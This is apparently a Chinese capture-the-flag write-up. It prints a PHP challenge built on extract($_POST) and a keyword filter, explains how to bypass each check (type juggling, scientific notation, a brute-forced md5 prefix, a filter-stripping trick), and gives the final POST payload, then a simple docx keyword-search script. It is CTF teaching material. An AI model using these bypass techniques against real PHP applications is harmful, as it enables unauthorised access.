两个关卡

关卡1：

  1. <?php
  2. header('Content-type:text/html;charset=utf-8');
  3. error_reporting(0);
  4. highlight_file(__file__);
  7. function filter($string){
  8.         $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
  9.         $filter_phrase= '/'.implode('|',$filter_word).'/';
  10.         return preg_replace($filter_phrase,'',$string);
  11.     }
  14. if($ppp){
  15.     unset($ppp);
  16. }
  17. $ppp['number1'] = "1";
  18. $ppp['number2'] = "1";
  19. $ppp['nunber3'] = "1";
  20. $ppp['number4'] = '1';
  21. $ppp['number5'] = '1';
  23. extract($_POST);
  25. $num1 = filter($ppp['number1']);        
  26. $num2 = filter($ppp['number2']);        
  27. $num3 = filter($ppp['number3']);        
  28. $num4 = filter($ppp['number4']);
  29. $num5 = filter($ppp['number5']);    
  32. if(isset($num1) && is_numeric($num1)){
  33.     die("非数字");
  34. }
  36. else{
  38.     if($num1 > 1024){
  39.     echo "第一层";
  40.         if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
  41.             echo "第二层";
  42.             if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
  43.                 echo "第三层";
  44.                 if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
  45.                     echo "第四层";
  46.                     if(!isset($num5)||(strlen($num5)==0)) die("no");
  47.                     $b=json_decode(@$num5);
  48.                         if($y = $b === NULL){
  49.                                 if($y === true){
  50.                                     echo "第五层";
  51.                                     include 'KeY1lhv.php';
  52.                                     echo $KEY1;
  53.                                 }
  54.                         }else{
  55.                             die("no");
  56.                         }
  57.                 }else{
  58.                     die("no");
  59.                 }
  60.             }else{
  61.                 die("no");
  62.             }
  63.         }else{
  64.             die("no");
  65.         }
  66.     }else{
  67.         die("no111");
  68.     }
  69. }

一步一步绕过即可

  1. if($num1 > 1024)，数字加字符串绕过
  2. if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000)，科学计数法
  3. if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7))，爆破出满足条件的md5
  4. if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) )，使用0000000即可，但是由于过滤，需要先在中间插入num之类的敏感字符，然后经过filter替换，000num0000->0000000
  5. $b=json_decode(@$num5);if($y = $b === NULL)，传入随便一串字符：qqqqqq，感觉不是预期内的做法。。。

payload:

  1. ppp[number1]=1025aaa&ppp[number2]=1e6&ppp[number3]=61823470&ppp[number4]=000num0000&ppp[number5]=qqqqqq

关卡2：

写个脚本，一个一个搜就行了

  1. from docx import Document
  2. import os
  3. import base64
  5. for dirs, root, files in os.walk(r'D:\Download\five_month'):
  6.     for file in files:
  7.         if file.split('.')[-1]=='docx':
  8.             p=os.path.join(dirs,file)
  9.             d=Document(p)
  10.             for para in d.paragraphs:
  11.                 try:
  12.                     if 'KEY' in para.text:
  13.                         print(para.text)
  14.                 except:
  15.                     pass